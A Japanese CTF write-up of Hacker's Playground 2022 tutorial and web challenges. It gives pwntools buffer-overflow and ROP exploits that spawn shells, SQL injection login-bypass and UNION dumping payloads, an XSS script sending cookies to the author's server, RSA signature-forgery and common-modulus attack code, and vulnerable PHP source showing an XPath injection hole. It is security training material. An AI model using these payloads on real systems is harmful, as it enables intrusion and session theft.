Hacker's Playground 2022 Writeup

この大会は2022/8/22 15:00(JST)~2022/8/23 15:00(JST)に開催されました。
今回もチームで参戦。結果は848点で1075チーム中69位でした。
自分で解けた問題をWriteupとして書いておきます。

Practice: Flag Submission (Tutorial, Misc)

問題にフラグが書いてあった。

SCTF{It_15_tim3_t0_hack!!}

BOF 101 (Tutorial, pwn)

$ file bof101 
bof101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=13ced886aca676ec6ce7c7da946e316e1858594e, for GNU/Linux 3.2.0, with debug_info, not stripped

checkの値を同じ値で上書きして、BOFでprintflag関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('bof101.sstf.site', 1337)
else:
    p = process('./bof101')

data = p.recvline().rstrip().decode()
print(data)
printflag_addr = int(data.split(' ')[-1], 16)

payload = b'A' * 140
payload += p32(0xdeadbeef)
payload += b'A' * 8
payload += p64(printflag_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to bof101.sstf.site on port 1337: Done
printflag()'s addr: 0x555555555229
What is your name?
: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xdeAAAAAAAA)RUUUU\x00\x00'
SCTF{n0w_U_R_B0F_3xpEr7}
[*] Closed connection to bof101.sstf.site port 1337
SCTF{n0w_U_R_B0F_3xpEr7}

BOF 102 (Tutorial, pwn)

$ file bof102
bof102: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38810cd90b5196405a95cd65c75da98f02cf4a7a, not stripped

main関数でsystem関数を使っているので、BOFでsystem("/bin/sh")をコールするようにする。

$ objdump -d -M intel bof102
                :
                :
0804851b <bofme>:
 804851b:	55                   	push   ebp
 804851c:	89 e5                	mov    ebp,esp
 804851e:	83 ec 10             	sub    esp,0x10
 8048521:	68 70 86 04 08       	push   0x8048670
 8048526:	e8 a5 fe ff ff       	call   80483d0 <puts@plt>
 804852b:	83 c4 04             	add    esp,0x4
 804852e:	68 82 86 04 08       	push   0x8048682
 8048533:	e8 78 fe ff ff       	call   80483b0 <printf@plt>
 8048538:	83 c4 04             	add    esp,0x4
 804853b:	a1 2c a0 04 08       	mov    eax,ds:0x804a02c
 8048540:	50                   	push   eax
 8048541:	e8 7a fe ff ff       	call   80483c0 <fflush@plt>
 8048546:	83 c4 04             	add    esp,0x4
 8048549:	68 34 a0 04 08       	push   0x804a034
 804854e:	68 8a 86 04 08       	push   0x804868a
 8048553:	e8 a8 fe ff ff       	call   8048400 <__isoc99_scanf@plt>
 8048558:	83 c4 08             	add    esp,0x8
 804855b:	68 34 a0 04 08       	push   0x804a034
 8048560:	68 8f 86 04 08       	push   0x804868f
 8048565:	e8 46 fe ff ff       	call   80483b0 <printf@plt>
 804856a:	83 c4 08             	add    esp,0x8
 804856d:	68 9b 86 04 08       	push   0x804869b
 8048572:	e8 59 fe ff ff       	call   80483d0 <puts@plt>
 8048577:	83 c4 04             	add    esp,0x4
 804857a:	68 b9 86 04 08       	push   0x80486b9
 804857f:	e8 2c fe ff ff       	call   80483b0 <printf@plt>
 8048584:	83 c4 04             	add    esp,0x4
 8048587:	a1 2c a0 04 08       	mov    eax,ds:0x804a02c
 804858c:	50                   	push   eax
 804858d:	e8 2e fe ff ff       	call   80483c0 <fflush@plt>
 8048592:	83 c4 04             	add    esp,0x4
 8048595:	8d 45 f0             	lea    eax,[ebp-0x10]
 8048598:	50                   	push   eax
 8048599:	68 bd 86 04 08       	push   0x80486bd
 804859e:	e8 5d fe ff ff       	call   8048400 <__isoc99_scanf@plt>
 80485a3:	83 c4 08             	add    esp,0x8
 80485a6:	8d 45 f0             	lea    eax,[ebp-0x10]
 80485a9:	50                   	push   eax
 80485aa:	68 c0 86 04 08       	push   0x80486c0
 80485af:	e8 fc fd ff ff       	call   80483b0 <printf@plt>
 80485b4:	83 c4 08             	add    esp,0x8
 80485b7:	68 ca 86 04 08       	push   0x80486ca
 80485bc:	e8 0f fe ff ff       	call   80483d0 <puts@plt>
 80485c1:	83 c4 04             	add    esp,0x4
 80485c4:	90                   	nop
 80485c5:	c9                   	leave  
 80485c6:	c3                   	ret 
                :
                :

nameのアドレスは0x804a034。nameに"/bin/sh"を入力し、system関数を呼び出すときにこのアドレスを指定すればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('bof102.sstf.site', 1337)
else:
    p = process('./bof102')

elf = ELF('./bof102')

bin_sh = '/bin/sh'
name_addr = 0x804a034
system_addr = elf.symbols['system']

data = p.recvline().rstrip().decode()
print(data)
data = p.recvuntil(b'> ').decode()
print(data + bin_sh)
p.sendline(bin_sh.encode())
data = p.recvline().rstrip().decode()
print(data)

payload = b'A' * 20
payload += p32(system_addr)
payload += b'A' * 4
payload += p32(name_addr)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to bof102.sstf.site on port 1337: Done
[*] '/mnt/hgfs/Shared/bof102'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Welcome to BOF 102!
What's your name?
Name > /bin/sh
Hello, /bin/sh.
Do you wanna build a snowman?
 > b'AAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08AAAA4\xa0\x04\x08'
[*] Switching to interactive mode
$ ls
Makefile
bin
bof102
bof102.c
check.py
ex.py
flag
lib
lib64
$ cat flag
SCTF{5t4ck_c4n4ry_4nd_ASLR_4nd_PIE_4re_l3ft_a5_h0m3wOrk}
SCTF{5t4ck_c4n4ry_4nd_ASLR_4nd_PIE_4re_l3ft_a5_h0m3wOrk}

BOF 103 (Tutorial, pwn)

$ file bof103
bof103: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25e1d2eb3479b079dd8ee138d271ecf6f1e321d2, not stripped

BOFでROPを使って、system("/bin/sh")を実行する。その際、usemeを使って"/bin/sh"のアドレスを取得する。

$ ROPgadget --binary bof103 --re "pop rdi"
Gadgets information
============================================================
0x00000000004007b3 : pop rdi ; ret

Unique gadgets found: 1

$ ROPgadget --binary bof103 --re "pop rsi"
Gadgets information
============================================================
0x0000000000400740 : add byte ptr [rbp - 0x3d], bl ; push rbp ; mov rbp, rsp ; pop rsi ; ret
0x0000000000400745 : mov ebp, esp ; pop rsi ; ret
0x0000000000400744 : mov rbp, rsp ; pop rsi ; ret
0x00000000004007b1 : pop rsi ; pop r15 ; ret
0x0000000000400747 : pop rsi ; ret
0x0000000000400743 : push rbp ; mov rbp, rsp ; pop rsi ; ret

Unique gadgets found: 6

$ objdump -d -M intel bof103 | grep key
  4006bb:	48 89 05 a6 09 20 00 	mov    QWORD PTR [rip+0x2009a6],rax        # 601068 <key>
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('bof103.sstf.site', 1337)
else:
    p = process('./bof103')

elf = ELF('./bof103')

bin_sh = b'/bin/sh\x00'
key_addr = 0x601068
useme_addr = elf.symbols['useme']
system_addr = elf.symbols['system']
pop_rdi = 0x4007b3
pop_rsi = 0x400747

payload = b'A' * 24
payload += p64(pop_rdi)
payload += bin_sh
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(useme_addr)
payload += p64(pop_rdi)
payload += p64(key_addr)
payload += p64(system_addr)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to bof103.sstf.site on port 1337: Done
[*] '/mnt/hgfs/Shared/bof103'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Welcome to BOF 103!
What's your name?
Name > b'AAAAAAAAAAAAAAAAAAAAAAAA\xb3\x07@\x00\x00\x00\x00\x00/bin/sh\x00G\x07@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa6\x06@\x00\x00\x00\x00\x00\xb3\x07@\x00\x00\x00\x00\x00h\x10`\x00\x00\x00\x00\x00P\x05@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
bin
bof103
flag
lib
lib64
$ cat flag
SCTF{S0_w3_c4ll_it_ROP_cha1n}
SCTF{S0_w3_c4ll_it_ROP_cha1n}

SQLi 101 (Tutorial, Web)

SQLインジェクション。以下のように入力し、ログインすると、フラグが表示された。

USERNAME: admin' -- -
PASSWORD: a
SCTF{th3_f1rs7_5t3p_t0_the_w3B_h4ckEr}

SQLi 102 (Tutorial, Web)

SQLインジェクションで、データをリークする。まずUNION SELECTで列のカラム数を調べ、目的のテーブル名、列名、データを取得していく。

・zz' union select 1,2,3,4,5,6,7,8 -- -

Search Result
#	Title	Author	Price
1	2	3	5

・zz' union select 1,schema_name,3,4,5,6,7,8 from information_schema.schemata -- -

Search Result
#	Title	Author	Price
1	information_schema	3	5
2	sqli102	3	5

・zz' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = 'sqli102' -- -

Search Result
#	Title	Author	Price
1	books	3	5
2	findme	3	5

・zz' union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name = 'findme' -- -

Search Result
#	Title	Author	Price
1	SCTF{	3	5
2	b451c_SQ	3	5
3	Li_5k	3	5
4	1lls}	3	5
SCTF{b451c_SQLi_5k1lls}

XSS 101 (Tutorial, Web)

Need help?のリンクから「Create a support case」のページを表示する。ここでDescriptionに以下のように記述し、自サーバにAdminのクッキーを送る。

<script>img=new Image(); img.src='https://[自サーバホスト]/?cookie='+document.cookie;</script>

Cookieは以下のようになっていることがわかる。

PHPSESSID=8e2db149076e705cd94d5acc0d8e49d8

このクッキーを設定してリロードするが、特に変化はない。http://xss101.sstf.site/admin.phpにアクセスしたら、フラグが表示された。

SCTF{bl1nd_CR055_s1t3_scr1ptin9_att4ck}

RC four (Tutorial, Crypto)

フラグの暗号と同じ鍵でRC4暗号した平文と暗号文があるので、XORで復号できる。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

ct1 = bytes.fromhex(params[0])
ct2 = bytes.fromhex(params[1])
pt1 = b"RC4 is a Stream Cipher, which is very simple and fast."

key = strxor(pt1, ct1)
flag = strxor(ct2, key[:len(ct2)]).decode()
print(flag)
SCTF{B10ck_c1pH3r_4nd_5tr3am_ciPheR_R_5ymm3tr1c}

RSA 101 (Tutorial, Crypto)

$ nc rsa101.sstf.site 1104
[RSA parameters]
n = 0x91dc462b60f9fd947362175c5a4506e4ed6aa446235c2be2a7417d2e4a488d572d5437e416963a680c4af0bf5079efdf1205f028f43fdbb8a8c4c4e11e85ff76578e7b7803aeff00282b933594d658829f90ce7c63e3dce36e2e334c5b1f5e1fb78361db28936676054e059ad00a3670d61807cc85adc57cb6f08942cb269c7b
e = 0x10001

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 3
String to encode: id 
Base64 encoded string: aWQ=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 2
Base64 encoded command to sign: aWQ=
Signed command: iEKhArDBwTsQVJFf4Fn7OSoO2bDmQRLOdNYKJ1isN//rlsUGZ4JnlnCdURaHT/kkGTHV0gjwxy/IftYJSqvMS3OnUt80v3gFG8d/WZyHx+yEFowi+9wXvFhmMpZU47fhmKA4ybpkXEhh9lw0/GLdvAdfVuEAwwOizJTGCd6vBEc=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 1
Signed command: iEKhArDBwTsQVJFf4Fn7OSoO2bDmQRLOdNYKJ1isN//rlsUGZ4JnlnCdURaHT/kkGTHV0gjwxy/IftYJSqvMS3OnUt80v3gFG8d/WZyHx+yEFowi+9wXvFhmMpZU47fhmKA4ybpkXEhh9lw0/GLdvAdfVuEAwwOizJTGCd6vBEc=
uid=0(root) gid=0(root) groups=0(root)

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 3
String to encode: pwd
Base64 encoded string: cHdk

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 2
Base64 encoded command to sign: cHdk
Signed command: ZlYd5qQCHHglR1fd+aiWSywinQgiD3cCp6E8f7fpJuZMnitPc2M9EuITCWtK26Fzx735PMtX5mdO8WUYDeoVeec2IHUJj2eHVEFqMEu/tiDZ8HSKO3cJUEBw+KzDoVpShpFSlLVoL+J1FU9xQbQhYSAxxTJVL2+UVFK7y/VezOw=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 1
Signed command: ZlYd5qQCHHglR1fd+aiWSywinQgiD3cCp6E8f7fpJuZMnitPc2M9EuITCWtK26Fzx735PMtX5mdO8WUYDeoVeec2IHUJj2eHVEFqMEu/tiDZ8HSKO3cJUEBw+KzDoVpShpFSlLVoL+J1FU9xQbQhYSAxxTJVL2+UVFK7y/VezOw=
/

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 3
String to encode: ls -l
Base64 encoded string: bHMgLWw=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 2
Base64 encoded command to sign: bHMgLWw=
Signed command: sRgxoPclDadIa3tlI0AifKCAAoR8ysrEt9RReNHiMh0mSP8bf3sipE5P/0L8yv1WKSV4A9BhVhOs0Cv0Ln1c2mfgBsAeYXGlY1AN8WUR1Zj9MJChhez60zVUmmHWkn145IBlX1p52wfHOHNoOCMozuFOZtUXtbvKpSR9jVNg4w==

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 1
Signed command: sRgxoPclDadIa3tlI0AifKCAAoR8ysrEt9RReNHiMh0mSP8bf3sipE5P/0L8yv1WKSV4A9BhVhOs0Cv0Ln1c2mfgBsAeYXGlY1AN8WUR1Zj9MJChhez60zVUmmHWkn145IBlX1p52wfHOHNoOCMozuFOZtUXtbvKpSR9jVNg4w==
total 72
drwxr-xr-x   1 root root 4096 Aug 21 03:51 bin
drwxr-xr-x   2 root root 4096 Jun 30 21:35 boot
drwxr-xr-x   5 root root  340 Aug 21 03:51 dev
drwxr-xr-x   1 root root 4096 Aug 21 03:51 etc
-rw-rw-r--   1 root root   36 Aug 21 03:21 flag
drwxr-xr-x   1 root root 4096 Aug 21 03:51 home
drwxr-xr-x   1 root root 4096 Aug  3 10:26 lib
drwxr-xr-x   2 root root 4096 Aug  1 00:00 lib64
drwxr-xr-x   2 root root 4096 Aug  1 00:00 media
drwxr-xr-x   2 root root 4096 Aug  1 00:00 mnt
drwxr-xr-x   2 root root 4096 Aug  1 00:00 opt
dr-xr-xr-x 256 root root    0 Aug 21 03:51 proc
drwx------   1 root root 4096 Aug 21 03:51 root
drwxr-xr-x   1 root root 4096 Aug 21 03:51 run
drwxr-xr-x   2 root root 4096 Aug  1 00:00 sbin
drwxr-xr-x   2 root root 4096 Aug  1 00:00 srv
-rwxrwx---   1 root root   53 Aug 21 03:21 start.sh
dr-xr-xr-x  13 root root    0 Aug 21 03:51 sys
drwxrwxrwt   1 root root 4096 Aug 21 03:51 tmp
drwxr-xr-x   1 root root 4096 Aug  1 00:00 usr
drwxr-xr-x   1 root root 4096 Aug  1 00:00 var

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 

サーバの処理概要は以下の通り。

・p, q: 512ビット素数
・n = p * q
・e = 65537
・d = pow(e, -1, (p - 1) * (q - 1))
・n, e表示
・以下繰り返し
 ・sel: 入力
 ・selが"1"の場合
  ・sgn: 入力(base64)
  ・sgn: sgnをbase64デコード
  ・cmd = verify(sgn)
   ・s: sgnの数値化
   ・v = pow(s, e, n)
   ・vの文字列化したものを返却
  ・commands = ["ls -l", "pwd", "id", "cat flag"]
  ・cmdがcommandsの一つの場合、コマンドを実行
 ・selが"2"の場合
  ・cmd: 入力(base64)
  ・cmd: cmdをbase64デコード
  ・cmdがb"cat flag"の場合NG
  ・sign(cmd)のbase64文字列を表示
   ・m: cmdの数値化
   ・s = pow(m, d, n)
   ・sの文字列化したものを返却
 ・selが"3"の場合
  ・cmd: 入力
  ・cmdをbase64エンコードしたものを表示
 ・selが"4"の場合
  ・終了

"cat flag"の数値を因数分解し、積として表し、それぞれsignしたものの積が"cat flag"のsignになる。

#!/usr/bin/env python3
import socket
from base64 import *
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

cmd = 'cat flag'
i_cmd = bytes_to_long(cmd.encode())
for i in range(2, 128):
    if i_cmd % i == 0:
        i_cmd1 = i
        i_cmd2 = i_cmd // i
        break

cmd1 = long_to_bytes(i_cmd1)
cmd2 = long_to_bytes(i_cmd2)
b64_cmd1 = b64encode(cmd1).decode()
b64_cmd2 = b64encode(cmd2).decode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('rsa101.sstf.site', 1104))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1], 16)
data = recvuntil(s, b'\n').rstrip()
print(data)
e = int(data.split(' ')[-1], 16)

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + b64_cmd1)
s.sendall(b64_cmd1.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sigend_cmd1 = bytes_to_long(b64decode(data.split(' ')[-1]))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + b64_cmd2)
s.sendall(b64_cmd2.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sigend_cmd2 = bytes_to_long(b64decode(data.split(' ')[-1]))

signed_cmd = (sigend_cmd1 * sigend_cmd2) % n
signed_cmd = b64encode(long_to_bytes(signed_cmd)).decode()

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b': ')
print(data + signed_cmd)
s.sendall(signed_cmd.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

[RSA parameters]
n = 0xceb7f3eb68b629a4de5136a2c6ed81d35c2c9c54b96fa0dd61fb3a8a7089fc094b05be3a8f323dedde6636bdd321d065a8bebd2df978fdd1bce9b5b401fb3bec73480778bed49d45ffd2ac2aa3079ad6fc085f3a99f010c6e22ac377a1624612d5948fd0806a4e5a7217d9c68381479d540749359188d9c97f6a1ffbe73f2913
e = 0x10001

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 2
Base64 encoded command to sign: Zw==
Signed command: cfNZhUCMzc2vBvkcGEgpqNZBOLXsGQpj5bq3mT9kTwny751XrUdbNbow79hgF2FolgA66AdWBAB3PNGiiXVJpVLWsjFyTsVtU040VEMA2dMipuAr3bpXS6KFuDHyMxxWQr4GTc6g4QN7OkOYjJpWD3ps2vJu+gfieP7PpaIdrVA=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 2
Base64 encoded command to sign: 9wEgoA/3AQ==
Signed command: Glm/FTLzA738ptT7a+teYBXXnfln2yg5ui9xtC9AOTfH9/Ue4dshUTy+X4XOdmxp+3HOXOSfKUAaY43qhdTJxhYYjRMp+d6DMXnLZdU04bG9oSLbN7wrse5sCK5Qd+53VXFsFw3RGJaNg+6yCg4dcObrVpPTDKd04PYHbvGwTDQ=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 1
Signed command: BewZQFeB/iOzQ1OiGWQpUCK3aXvxjtKkJbWFyHlsZeY0TuoFj/g/fF6ss5acnEbFfZn8DnZPOSNSO5PXyuqk/8qvFnwkQDqFrsyVQWnQgQmz9/Dy/czSQiPuyAm6uifCwsxiONPYQhOZwy4kIflHDIapXZCeKw+Fm6450+z0o6g=
SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}

RSA 102 (Tutorial, Crypto)

暗号の処理概要は以下の通り。

・pubkeys['Alice']: nとe1を設定
・pubkeys['Bob']: nとe2を設定
・msg: noticeの数値化
・pow(msg, e1, n)を出力
・pow(msg, e2, n)を出力

nが共通でeが異なるもので、同じメッセージを暗号化しているので、Common Modules Attackで復号する。

#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

def commom_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

n = 0xd244a731d125aa8cbbccc5aa44b70686b432589d7a472269059055119e258e471df27d0f08c3c5e109829381754745f47b6bb3a5e3cc5a3b63766aa8c929290596de12234c244d6746398cc81f774441946c6d0444ce23ab146c33876cf84dc122eb0d42c4437e969ad8b72fbc399c82abd2e153e8d27dff56f517c5cb980853
e1 = 79
e2 = 61
c1 = 0x55edc128e01d6a94d92482d4136a60c5db5e295aec9c38e4029649bfc42eb350cf3ccdddc101c5a81d1251f9b061fe55b436eaba101b0238db479e795661ad64dd0e04898bdd637d33b15c155d1141e70efc84923c126f7d93582d5783544780c9a29818a8f47bad2e47967f7609aa3e6caabbd153c77def6d20e7ed4ac267a8
c2 = 0xcad43d8d2bcb9ab05133e0923896426544fd8a93e80e0b10efc36019b8a7365390b30530f240b25d3affa6ed03983548fe17f085fe3f04a6bd80aa9093eda484e7c9a120e770000570a2044f7aa6ea5dc25ef082c352205f710b07423160b70f100800d3dedf89843a19208054550f22936fe510e7a98fe1c557b7657abfb77b

m = commom_modulus_attack(c1, c2, e1, e2, n)
flag = long_to_bytes(m).decode()
print(flag)
SCTF{R4ndOm_p4dd1n9_t0_pr3vEnt_RSA_c0mmOn_m0dulu5_a44ack}

Yet Another Injection (Web)

hintページを見ると、それぞれ以下のURLからソースを見ることができる。

<?php
    session_start();

    $username = check_param("username");
    $pwd = check_param("pwd");

    if (checkUser($username, $pwd)) {
        $_SESSION["username"] = $username;
        header("Location: index.php");
    }

    function check_param($var) {
        if (!isset($_POST[$var]) || $_POST[$var] === "") {
            return "";
        }
        return trim($_POST[$var]);
    }

    function checkUser($username, $pwd) {
        if (($username === "") || ($pwd === "")) {
            return false;
        }

        $accounts = @file_get_contents("accounts.txt");
        if ($accounts === false) {
            $users = array();
        } else {
            $users = explode("\n", $accounts);
        }

        array_push($users, "guest:".hash("sha256", "guest"));

        $granted = false;
        foreach ($users as $each) {
            $info = explode(":",$each);
            if ( $username === trim($info[0]) && hash("sha256", $pwd) === trim($info[1]) ) {
                $granted = true;
                break;
            }
        }

        return $granted;
    }
?>

<!DOCTYPE html>
<html lang="en">
    <head>
        <title>Yet Another Injection</title>
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css" integrity="sha384-zCbKRCUGaJDkqS1kPbPd7TveP5iyJE0EjAuZQTgFLD2ylzuqKfdKlfG/eSrtxUkn" crossorigin="anonymous">
        <link rel="stylesheet" href="css/style.css">
    </head>
    <body>
        <div class="container">
            <div class="w-50 mx-auto shadow-lg p-3 my-5 bg-white rounded">
                <h1 class="mb-5">Research Paper Repository</h1>
                <form action="login.php" method="POST">
                        <label for="username"><b>Username</b></label>
                        <input type="text" placeholder="Enter Username" name="username" required> <br>
                        <label for="pwd"><b>Password</b></label>
                        <input type="password" placeholder="Enter Password" name="pwd" required> <br>
                        <button type="submit">Login</button>
                </form>
                <a href="login.php?showsrc=login.php">hint</a>
            </div>
            <?php
                if (isset($_GET['showsrc']) && in_array($_GET['showsrc'], Array('index.php', 'login.php', 'library.php', 'paperdetail.php'), true)) {
                    highlight_file($_GET['showsrc']);
                }
            ?>
        </div>
    </body>
</html>
<?php
    session_start();

    if (!isset($_SESSION["username"])) {
        header("Location: login.php");
    }

    require_once 'library.php';
    $papers = loadPapers('papers.xml');
?>


<!DOCTYPE html>
<html lang="en">
<head>
    <title>Yet Another Injection</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css" integrity="sha384-zCbKRCUGaJDkqS1kPbPd7TveP5iyJE0EjAuZQTgFLD2ylzuqKfdKlfG/eSrtxUkn" crossorigin="anonymous">
    <script src="js/jquery-3.5.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-fQybjgWLrvvRgtW6bFlB7jaZrFsaBXjsOMm/tB9LTS58ONXgqbR9W8oWht/amnpF" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="css/style.css">
</head>
<body>
    <script>
        function show_detail(idx) {
            $.getJSON("/paperdetail.php?idx="+idx, 
                function(data) {
                    $('#title').text(data.Title);
                    $('#author').text(data.Author);
                    $('#conference').text(data.Conference);
                    $('#year').text(data.Year);
                    $('#abstract').text(data.Abstract);
                    $("#detailmodal").modal('show');
                }
            );
        }
    </script>

    <div class="container">
        <div class="w-100 shadow-lg p-3 my-5 bg-white rounded">
            <h1>Research Paper Repository</h1>
            <div class="text-right">
                <?php
                    echo "<p><b>".$_SESSION["username"]."</b> ";
                ?>
                (<a href='logout.php'>Logout</a>)</p>
            </div>

            <!-- Modal -->
            <div class="modal fade bd-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true" id="detailmodal">
                <div class="modal-dialog modal-lg modal-dialog-centered" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h4 class="modal-title px-5" id="title">Paper Title</h4>
                        </div>
                        <div class="modal-body">
                            <div class="text-center">
                                <table border="1" width="90%">
                                    <tr><td width="20%"><b>1st Author</b></td><td colspan="3" id="author"></td></tr>
                                    <tr><td width="20%"><b>Conference</b></td><td width="50%" id="conference"></td><td width="20%"><b>Year</b></td><td id="year"></td></tr>
                                </table>
                            </div>
                            <div class="px-5 pt-3">
                                <h3>Abstract</h3>
                                <p id="abstract"></p>
                            </div>
                        </div>
                        <div class="modal-footer">
                            <button type="button" class="btn btn-primary" data-dismiss="modal">Close</button>
                        </div>
                    </div>
                </div>
            </div>

            <table class="table">
                <thead class="thead-dark">
                    <tr>
                        <th scope="col">#</th>
                        <th scope="col">Year</th>
                        <th scope="col">Title</th>
                        <th scope="col">1st author</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                        foreach (paperList($papers) as $paper) {
                            $row = array_map(
                                        function($tag) use ($paper) {return getFirstChildText($paper, $tag);},
                                        Array('Idx', 'Year', 'Title', 'Author')
                                    );
                            echo "<tr onclick='show_detail({$row[0]});'><th scope='row'>{$row[0]}</th><td>{$row[1]}</td><td>{$row[2]}</td><td>{$row[3]}</td></tr>";
                        }
                    ?>
                </tbody>
            </table>
        </div>
    </div>
</body>
</html>
<?php
    $_library_file_name = '/db/papers.xml';

    function loadPapers() {
        global $_library_file_name;
        $xml = new DOMDocument;
        $xml->load($_library_file_name);
        return $xml;
    }

    function paperList(DomDocument $papers) {
        $xpath = new DOMXPath($papers);
        $query = '/Papers/Paper[@published="yes"]';
        $paper_list = $xpath->query($query);
        return $paper_list;
    }

    function getFirstChildText(DOMNode $node, string $tag) {
        return $node->getElementsByTagName($tag)->item(0)->nodeValue;
    }

    function getDetail(DomDocument $papers, string $idx) {
        $xpath = new DOMXPath($papers);
        $query = "//Paper[Idx/text()='".$idx."' and @published='yes']";
        $paper_list = $xpath->query($query);
        
        if ($paper_list == false) {
            return ['status' => 'Error', 'msg' => 'Invalid XPATH expression'];
        }
        if ($paper_list->count() == 0) {
            return ['status' => 'Error', 'msg' => 'No such entity'];
        }

        $paper = $paper_list->item(0);
        return [
            'status' => 'Success', 
            'Title' => getFirstChildText($paper, 'Title'), 
            'Author' => getFirstChildText($paper, 'Author'), 
            'Conference' => getFirstChildText($paper, 'Conference'), 
            'Year' => getFirstChildText($paper, 'Year'), 
            'Abstract' => getFirstChildText($paper, 'Abstract')
        ];
    }
?>
<?php
    session_start();

    require_once 'library.php';
    $papers = loadPapers('papers.xml');

    header("Content-Type:application/json");

    if (!isset($_SESSION["username"])) {
        echo json_encode(['status' => 'Error', 'msg' => 'Forbidden']);
    } else if(!isset($_GET['idx'])) {
        echo json_encode(['status' => 'Error', 'msg' => 'Invalid Request']);
    } else {
        $idx = $_GET['idx'];
        $paper = getDetail($papers, $idx);
        echo json_encode($paper);
    }
?>

XPath インジェクションが使えそう。
